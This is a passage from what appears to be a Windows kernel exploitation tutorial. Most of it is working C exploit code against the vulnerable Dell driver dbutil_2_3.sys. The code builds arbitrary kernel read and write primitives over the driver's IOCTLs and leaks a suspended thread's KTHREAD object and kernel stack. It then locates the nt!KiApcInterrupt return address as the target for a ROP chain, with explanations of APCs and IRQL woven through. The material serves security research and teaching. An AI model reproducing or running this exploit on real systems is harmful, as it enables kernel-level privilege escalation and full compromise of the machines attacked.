	ULONG64 one = 0x4141414141414141;
	ULONG64 two = WHAT;
	ULONG64 three = 0x0000000000000000;
	ULONG64 four = 0x0000000000000000;

	//
	// Assign the values
	//
	inBuf[0] = one;
	inBuf[1] = two;
	inBuf[2] = three;
	inBuf[3] = four;

	//
	// Interact with the driver
	//
	DWORD bytesReturned = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_READ_CODE,
		&inBuf,
		sizeof(inBuf),
		&inBuf,
		sizeof(inBuf),
		&bytesReturned,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return the QWORD
		//
		return inBuf[3];
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return an error
	//
	return (ULONG64)1;
}

write64():

BOOL write64(HANDLE inHandle, ULONG64 WHERE, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (write primitive)
	//
	ULONG64 inBuf1[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one1 = 0x4141414141414141;
	ULONG64 two1 = WHERE;
	ULONG64 three1 = 0x0000000000000000;
	ULONG64 four1 = WHAT;

	//
	// Assign the values
	//
	inBuf1[0] = one1;
	inBuf1[1] = two1;
	inBuf1[2] = three1;
	inBuf1[3] = four1;

	//
	// Interact with the driver
	//
	DWORD bytesReturned1 = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_WRITE_CODE,
		&inBuf1,
		sizeof(inBuf1),
		&inBuf1,
		sizeof(inBuf1),
		&bytesReturned1,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return TRUE
		//
		return TRUE;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return FALSE (arbitrary write failed)
	//
	return FALSE;
}

Now that we have our primitives established, we start off by obtaining a handle to the driver in order to communicate with it. We will need to supply this value for our read/write primitives.

HANDLE getHandle(void)
{
	//
	// Obtain a handle to the driver
	//
	HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
		0x0,
		NULL,
		OPEN_EXISTING,
		0x0,
		NULL
	);

	//
	// Error handling
	//
	if (driverHandle == INVALID_HANDLE_VALUE)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the driver handle
		//
		return driverHandle;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

We can invoke this function in main().

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

After obtaining the handle, we then can setup our “dummy thread” by creating a thread in a suspended state. This is the thread we will perform our exploit work in. This can be achieved via CreateThread (again, the key here is to create this thread in a suspended state. More on this later).

/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */
HANDLE createdummyThread(void)
{
	//
	// Invoke CreateThread
	//
	HANDLE dummyThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)randomFunction,
		NULL,
		CREATE_SUSPENDED,
		NULL
	);

	//
	// Error handling
	//
	if (dummyThread == (HANDLE)-1)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the handle to the thread
		//
		return dummyThread;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

You’ll see that our createdummyThread function returns a handle to the “dummy thread”. Notice that the LPTHREAD_START_ROUTINE for the thread goes to randomFunction, which we also can define. This thread will never actually execute this function via its entry point, so we will just supply a simple function which does “nothing”.

We then can call createdummyThread within main() to execute the call. This will create our “dummy thread”.

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

Now we have a thread that is running in a suspended state and a handle to the driver.

Since we have a suspended thread running now, the goal currently is to leak the KTHREAD object associated with this thread, which is the kernel-mode representation of the thread. We can achieve this by invoking NtQuerySystemInformation. The first thing we need to do is add the structures required by NtQuerySystemInformation and then prototype this function, as we will need to resolve it via GetProcAddress. For this I just add a header file named ntdll.h - which will contain this prototype (and more structures coming up shortly).

#include <Windows.h>
#include <Psapi.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemMirrorMemoryInformation,
    SystemPerformanceTraceInformation,
    SystemObsolete0,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemVerifierAddDriverInformation,
    SystemVerifierRemoveDriverInformation,
    SystemProcessorIdleInformation,
    SystemLegacyDriverInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemVerifierThunkExtend,
    SystemSessionProcessInformation,
    SystemLoadGdiDriverInSystemSpace,
    SystemNumaProcessorMap,
    SystemPrefetcherInformation,
    SystemExtendedProcessInformation,
    SystemRecommendedSharedDataAlignment,
    SystemComPlusPackage,
    SystemNumaAvailableMemory,
    SystemProcessorPowerInformation,
    SystemEmulationBasicInformation,
    SystemEmulationProcessorInformation,
    SystemExtendedHandleInformation,
    SystemLostDelayedWriteInformation,
    SystemBigPoolInformation,
    SystemSessionPoolTagInformation,
    SystemSessionMappedViewInformation,
    SystemHotpatchInformation,
    SystemObjectSecurityMode,
    SystemWatchdogTimerHandler,
    SystemWatchdogTimerInformation,
    SystemLogicalProcessorInformation,
    SystemWow64SharedInformation,
    SystemRegisterFirmwareTableInformationHandler,
    SystemFirmwareTableInformation,
    SystemModuleInformationEx,
    SystemVerifierTriageInformation,
    SystemSuperfetchInformation,
    SystemMemoryListInformation,
    SystemFileCacheInformationEx,
    MaxSystemInfoClass

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

// Prototype for ntdll!NtQuerySystemInformation
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

Invoking NtQuerySystemInformation is a mechanism that allows us to leak the KTHREAD object - so we will not go over each of these structures in-depth. However, it is worthwhile to talk about NtQuerySystemInformation itself.

NtQuerySystemInformation is a function which can be invoked from a medium-integrity process. More specifically there are specific “classes” from the SYSTEM_INFORMATION_CLASS enum that aren’t available to low-integrity or AppContainer processes - such as browser sandboxes. So, in this case, you would need a genuine information leak. However, since we are assuming medium integrity (this is the default integrity level Windows processes use), we will leverage NtQuerySystemInformation.

We first create a function which resolves NtQuerySystemInformation.

/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */
NtQuerySystemInformation_t resolveFunc(void)
{
	//
	// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)
	//
	HMODULE ntdllHandle = GetModuleHandleW(L"ntdll.dll");

	//
	// Error handling
	//
	if (ntdllHandle == NULL)
	{
		// Bail out
		goto exit;
	}

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t func = (NtQuerySystemInformation_t)GetProcAddress(
		ntdllHandle,
		"NtQuerySystemInformation"
	);

	//
	// Error handling
	//
	if (func == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Print update
		//
		printf("[+] ntdll!NtQuerySystemInformation: 0x%p\n", func);

		//
		// Return the address
		//
		return func;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return (NtQuerySystemInformation_t)1;
}

After resolving the function, we can add a function which contains our “logic” for leaking the KTHREAD object associated with our “dummy thread”. This function will call leakKTHREAD - which accepts a parameter, which is the thread for which we want to leak the object (in this case it is our “dummy thread”). This is done by leveraging the SystemHandleInformation class (which is blocked from low-integrity processes). From here we can enumerate all handles that are thread objects on the system. Specifically, we check all thread objects in our current process for the handle of our “dummy thread”.

/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */
ULONG64 leakKTHREAD(HANDLE dummythreadHandle)
{
	//
	// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation
	//
	NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t NtQuerySystemInformation = resolveFunc();

	//
	// Error handling
	//
	if (NtQuerySystemInformation == (NtQuerySystemInformation_t)1)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Set size to 1 and loop the call until we reach the needed size
	//
	int size = 1;

	//
	// Output size
	//
	int outSize = 0;

	//
	// Output buffer
	//
	PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

	//
	// Error handling
	//
	if (out == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// do/while to allocate enough memory necessary for NtQuerySystemInformation
	//
	do
	{
		//
		// Free the previous memory
		//
		free(out);

		//
		// Increment the size
		//
		size = size * 2;

		//
		// Allocate more memory with the updated size
		//
		out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

		//
		// Error handling
		//
		if (out == NULL)
		{
			//
			// Bail out
			//
			goto exit;
		}

		//
		// Invoke NtQuerySystemInformation
		//
		retValue = NtQuerySystemInformation(
			SystemHandleInformation,
			out,
			(ULONG)size,
			&outSize
		);
	} while (retValue == STATUS_INFO_LENGTH_MISMATCH);

	//
	// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS
	//
	if (retValue != STATUS_SUCCESS)
	{
		//
		// Is out == NULL? If so, malloc failed and we can't free this memory
		// If it is NOT NULL, we can assume this memory is allocated. Free
		// it accordingly
		//
		if (out != NULL)
		{
			//
			// Free the memory
			//
			free(out);

			//
			// Bail out
			//
			goto exit;
		}

		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// NtQuerySystemInformation should have succeeded
		// Parse all of the handles, find the current thread handle, and leak the corresponding object
		//
		for (ULONG i = 0; i < out->NumberOfHandles; i++)
		{
			//
			// Store the current object's type number
			// Thread object = 0x8
			//
			DWORD objectType = out->Handles[i].ObjectTypeNumber;

			//
			// Are we dealing with a handle from the current process?
			//
			if (out->Handles[i].ProcessId == GetCurrentProcessId())
			{
				//
				// Is the handle the handle of the "dummy" thread we created?
				//
				if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)
				{
					//
					// Grab the actual KTHREAD object corresponding to the current thread
					//
					ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;

					//
					// Free the memory
					//
					free(out);

					//
					// Return the KTHREAD object
					//
					return kthreadObject;
				}
			}
		}
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle to the "dummy thread"
	//
	CloseHandle(
		dummythreadHandle
	);

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)retValue;
}

Here is how our main() function looks now:

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakKTHREAD()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// getchar() to pause execution
	//
	getchar();

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

You’ll notice in the above code we have added a getchar() call - which will keep our .exe running after the KTHREAD object is leaked. After running the .exe, we can see we leaked the KTHREAD object of our “dummy thread” at 0xffffa50f0fdb8080. Using WinDbg we can parse this address as a KTHREAD object.

We have now successfully located the KTHREAD object associated with our “dummy” thread.

From KTHREAD Leak To Arbitrary Kernel-Mode API Calls

With our KTHREAD leak, we can also use the !thread WinDbg extension to reveal the call stack for this thread.

You’ll notice the function nt!KiApcInterrupt is a part of this kernel-mode call stack for our “dummy thread”. What is this?

Recall that our “dummy thread” is in a suspended state. When a thread is created on Windows, it first starts out running in kernel-mode. nt!KiStartUserThread is responsible for this (and we can see this in our call stack). This eventually results in nt!PspUserThreadStartup being called - which is the initial thread routine, according to Windows Internals Part 1: 7th Edition. Here is where things get interesting.

After the thread is created, the thread is then put in its “suspended state”. A suspended thread, on Windows, is essentially a thread which has an APC queued to it - with the APC “telling the thread” to “do nothing”. An APC is a way to “tack on” some work to a given thread, when the thread is scheduled to execute. What is interesting is that queuing an APC causes an interrupt to be issued. An interrupt is essentially a signal that tells a processor something requires immediate attention. Each processor has a given interrupt request level, or IRQL, in which it is running. APCs get processed in an IRQL level known as APC_LEVEL, or 1. IRQL values span from 0 - 31 - but usually the most “common” ones are PASSIVE_LEVEL (0), APC_LEVEL (1), or DISPATCH_LEVEL (2). Normal user-mode and kernel-mode code run at PASSIVE_LEVEL. What is interesting is that when the IRQL of a processor is at 1, for instance (APC_LEVEL), only interrupts that can be processed at a higher IRQL can interrupt the processor. So, if the processor is running at an IRQL of APC_LEVEL, kernel-mode/user-mode code wouldn’t run until the processor is brought back down to PASSIVE_LEVEL.

The function that is called directly before nt!KiApcInterrupt in our call stack is, as mentioned, nt!PspUserThreadStartup - which is the “initial thread routine”. If we examine this return address nt!PspUserThreadStartup + 0x48, we can see the following.

The return address contains the instruction mov rsi, gs:188h. This essentially will load gs:188h (the GS segment register, when in kernel-mode, points to the KPCR structure, which, at an offset of 0x180 points to the KPRCB structure. This structure contains a pointer to the current thread at an offset of 0x8 - so 0x180 + 0x8 = 0x188. This means that gs:188h points to the current thread).

When a function is called, a return address is placed onto the stack. What a return address actually is, is the address of the next instruction. You can recall in our IDA screenshot that since mov rsi, gs:188h is the instruction of the return address, this instruction must have been the “next” instruction to be executed when it was pushed onto the stack. What this means is that whatever the instruction before mov rsi, gs:188h was caused the “function call” - or change in control-flow - to ntKiApcInterrupt. This means the instruction before, mov cr8, r15 was responsible for this. Why is this important?

Control registers are a per-processor register. The CR8 control register manages the current IRQL value for a given processor. So, what this means is that whatever is in R15 at the time of this instruction contains the IRQL that the current processor is executing at. How can we know what level this is? All we have to do is look at our call stack again!

The function that was called after nt!PspUserThreadStartup was nt!KiApcInterrupt. As the name insinuates, the function is responsible for an APC interrupt! We know APC interrupts are processed at IRQL APC_LEVEL - or 1. However, we also know that only interrupts which are processed at a higher IRQL than the current processors’ IRQL level can cause the processor to be interrupted.

Since we can obviously see that an APC interrupt was dispatched, we can confirm that the processor must have been executing at IRQL 0, or PASSIVE_LEVEL - which allowed the APC interrupt to occur. This again, comes back to the fact that queuing an APC causes an interrupt. Since APCs are processed at IRQL APC_LEVEL (1), the processor must be executing at PASSIVE_LEVEL (0) in order for an interrupt for an APC to be issued.

If we look at return address - we can see nt!KiApcInterrupt+0x328 (TrapFrame @ ffffa385bba350a0) contains a trap frame - which is basically a representation of the state of execution when an interrupt takes place. If we examine this trap frame - we can see that RIP was executing the instruction after the mov cr8, r15 instruction - which changes the processor where the APC interrupt was dispatched - meaning that when nt!PspUserThreadStartup executed - it allowed the processor to start allowing things like APCs to interrupt execution!

We can come to the conclusion that nt!KiApcInterrupt was executed as a result of the mov cr8, r15 instruction from nt!PspUserThreadStartup - which lowered the current processors’ IRQL level to PASSIVE_LEVEL (0). Since APCs are processed in APC_LEVEL (1), this allowed the interrupt to occur - because the processor was executing at a lower IRQL before the interrupt was issued.

The point of examining this is to understand the fact that an interrupt basically occurred, as a result of the APC being queued on our “dummy” thread. This APC is telling the thread basically to “do nothing” - which is essentially what a suspended thread is. Here is where this comes into play for us.

When this thread is resumed, the thread will return from the nt!KiApcInterrupt function. So, what we can do is we can overwrite the return address on the stack for nt!KiApcInterrtupt with the address of a ROP gadget (the return address on this system used for this blog post is nt!KiApcInterrupt + 0x328 - but that could be subject to change). Then, when we resume the thread eventually (which can be done from user mode) - nt!KiApcInterrupt will return and it will use our ROP gadget as the return address. This will allow us to construct a ROP chain which will allow us to call arbitrary kernel-mode APIs! The key, first, is to use our leaked KTHREAD object and parse the StackBase member - using our arbitrary read primitive - to locate the stack (where this return address lives). To do this, we will being the prototype for our final “exploit” function titled constructROPChain().

Notice the last parameter our function receives - ULONG64 ntBase. Since we are going to be using ROP gadgets from ntoskrnl.exe, we need to locate the base address of ntoskrnl.exe in order to resolve our needed ROP gadgets. So, this means that we also need a function which resolves the base of ntoskrnl.exe using EnumDeviceDrivers. Here is how we instrument this functionality.

/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */
ULONG64 resolventBase(void)
{
	//
	// Array to receive kernel-mode addresses
	//
	LPVOID* lpImageBase = NULL;

	//
	// Size of the input array
	//
	DWORD cb = 0;

	//
	// Size of the array output (all load addresses).
	//
	DWORD lpcbNeeded = 0;

	//
	// Invoke EnumDeviceDrivers (and have it fail)
	// to receive the needed size of lpImageBase
	//
	EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// lpcbNeeded should contain needed size
	//
	lpImageBase = (LPVOID*)malloc(lpcbNeeded);

	//
	// Error handling
	//
	if (lpImageBase == NULL)
	{
		//
		// Bail out
		// 
		goto exit;
	}

	//
	// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase
	// array).
	//
	cb = lpcbNeeded;

	//
	// Invoke EnumDeviceDrivers properly.
	//
	BOOL getAddrs = EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// Error handling
	//
	if (!getAddrs)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// The first element of the array is ntoskrnl.exe.
	//
	return (ULONG64)lpImageBase[0];

//
// Execution reaches here if an error occurs
//
exit:

	//
	// Return an error.
	//
	return (ULONG64)1;
}

The above function called resolventBase() returns the base address of ntoskrnl.exe (this type of enumeration couldn’t be done in a low-integrity process. Again, we are assuming medium integrity). This value can then be passed in to our constructROPChain() function.

If we examine the contents of a KTHREAD structure, we can see that StackBase is located at an offset of 0x38 within the KTHREAD structure. This means we can use our arbitrary read primitive to leak the stack address of the KTHREAD object by dereferencing this offset.

We then can update main() to resolve ntoskrnl.exe and to leak our kernel-mode stack (while leaving getchar() to confirm we can leak the stack before letting the process which houses our “dummy thread” terminate.

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakKTHREAD()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe
	//
	ULONG64 ntBase = resolventBase();

	//
	// Error handling
	//
	if (ntBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Invoke constructROPChain() to build our ROP chain and kick off execution
	//
	BOOL createROP = constructROPChain(driverHandle, getthreadHandle, kthread, ntBase);

	//
	// Error handling
	//
	if (!createROP)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to construct the ROP chain. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// getchar() to pause execution
	//
	getchar();

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

After running the exploit (in its current state) we can see that we successfully leaked the stack for our “dummy thread” - located at 0xffffa385b8650000.

Recall also that the stack grows towards the lower memory addresses - meaning that the stack base won’t actually have (usually) memory paged in/committed. Instead, we have to start going “up” the stack (by going down - since the stack grows towards the lower memory addresses) to see the contents of the “dummy thread’s” stack.

Putting all of this together, we can extend the contents of our constructROPChain() function to search our dummy thread’s stack for the target return address of nt!KiApcInterrupt + 0x328. nt!KiApcInterrupt + 0x328 is located at an offset of 0x41b718 on the version of Windows 11 I am testing this exploit on.

/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */
BOOL constructROPChain(HANDLE inHandle, HANDLE dummyThread, ULONG64 KTHREAD, ULONG64 ntBase)
{
	//
	// KTHREAD.StackBase = KTHREAD + 0x38
	//
	ULONG64 kthreadstackBase = KTHREAD + 0x38;

	//
	// Dereference KTHREAD.StackBase to leak the stack
	//
	ULONG64 stackBase = read64(inHandle, kthreadstackBase);

	//
	// Error handling
	//
	if (stackBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Leaked kernel-mode stack: 0x%llx\n", stackBase);

	//
	// Variable to store our target return address for nt!KiApcInterrupt
	//
	ULONG64 retAddr = 0;

	//
	// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)
	// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower
	// addresses.
	//
	for (int i = 0x8; i < 0x7000 - 0x8; i += 0x8)
	{
		//
		// Invoke read64() to dereference the stack
		//
		ULONG64 value = read64(inHandle, stackBase - i);

		//
		// Kernel-mode address?
		//
		if ((value & 0xfffff00000000000) == 0xfffff00000000000)
		{
			//
			// nt!KiApcInterrupt+0x328?
			//
			if (value == ntBase + 0x41b718)
			{
				//
				// Print update
				//
				printf("[+] Leaked target return address of nt!KiApcInterrupt!\n");

				//
				// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328
				//
				retAddr = stackBase - i;

				//
				// Break the loop if we find our address
				//
				break;
			}
		}

		//
		// Reset the value
		//
		value = 0;
	}

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)1;
}

